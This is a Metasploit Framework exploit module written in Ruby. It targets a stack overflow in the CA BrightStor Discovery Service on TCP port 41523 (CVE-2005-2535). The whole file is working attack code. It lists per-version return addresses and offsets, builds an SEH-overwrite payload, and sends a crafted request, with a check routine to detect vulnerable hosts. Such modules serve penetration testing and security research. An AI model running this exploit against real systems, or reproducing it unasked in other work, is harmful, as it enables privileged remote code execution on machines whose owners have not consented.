146 lines
3.5 KiB
Ruby
146 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor Discovery Service TCP Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the CA BrightStor
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Discovery Service. This vulnerability occurs when a specific
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type of request is sent to the TCP listener on port 41523.
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This vulnerability was discovered by cybertronic[at]gmx.net
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and affects all known versions of the BrightStor product.
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This module is based on the 'cabrightstor_disco' exploit by
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HD Moore.
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},
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'Author' => [ 'hdm', 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-2535'],
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[ 'OSVDB', '13814'],
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[ 'BID', '12536'],
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[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],
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[ 'EDB', '1131']
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0
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{
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'Platform' => 'win',
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'Ret' => 0x23803b20, # pop/pop/ret
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'Offset' => 1032,
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},
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],
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[
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'cheyprod.dll 12/12/2003',
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{
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'Platform' => 'win',
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'Ret' => 0x23805714, # pop/pop/ret
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'Offset' => 1024,
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},
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],
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[
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'cheyprod.dll 07/21/2004',
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{
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'Platform' => 'win',
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'Ret' => 0x23805d10, # pop/pop/ret
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'Offset' => 1024,
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},
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],
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],
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'DisclosureDate' => 'Feb 14 2005',
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'DefaultTarget' => 1))
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register_options(
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[
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Opt::RPORT(41523)
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], self.class)
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end
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def check
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# The first request should have no reply
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csock = Rex::Socket::Tcp.create(
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'PeerHost' => datastore['RHOST'],
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'PeerPort' => datastore['RPORT'],
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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})
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csock.put('META')
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x = csock.get_once(-1, 3)
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csock.close
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# The second request should be replied with the host name
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csock = Rex::Socket::Tcp.create(
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'PeerHost' => datastore['RHOST'],
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'PeerPort' => datastore['RPORT'],
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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})
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csock.put('hMETA')
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y = csock.get_once(-1, 3)
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csock.close
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if (y and not x)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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buf = rand_text_english(4096)
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# Overwriting the return address works well, but the only register
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# pointing back to our code is 'esp'. The following stub overwrites
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# the SEH frame instead, making things a bit easier.
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seh = generate_seh_payload(target.ret)
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buf[target['Offset'], seh.length] = seh
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# Make sure the return address is invalid to trigger SEH
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buf[ 900, 100] = (rand(127)+128).chr * 100
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# SERVICEPC is the client host name actually =P (thanks Juliano!)
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req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"
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req << buf
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sock.put(req)
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sock.get_once
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handler
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disconnect
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end
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end
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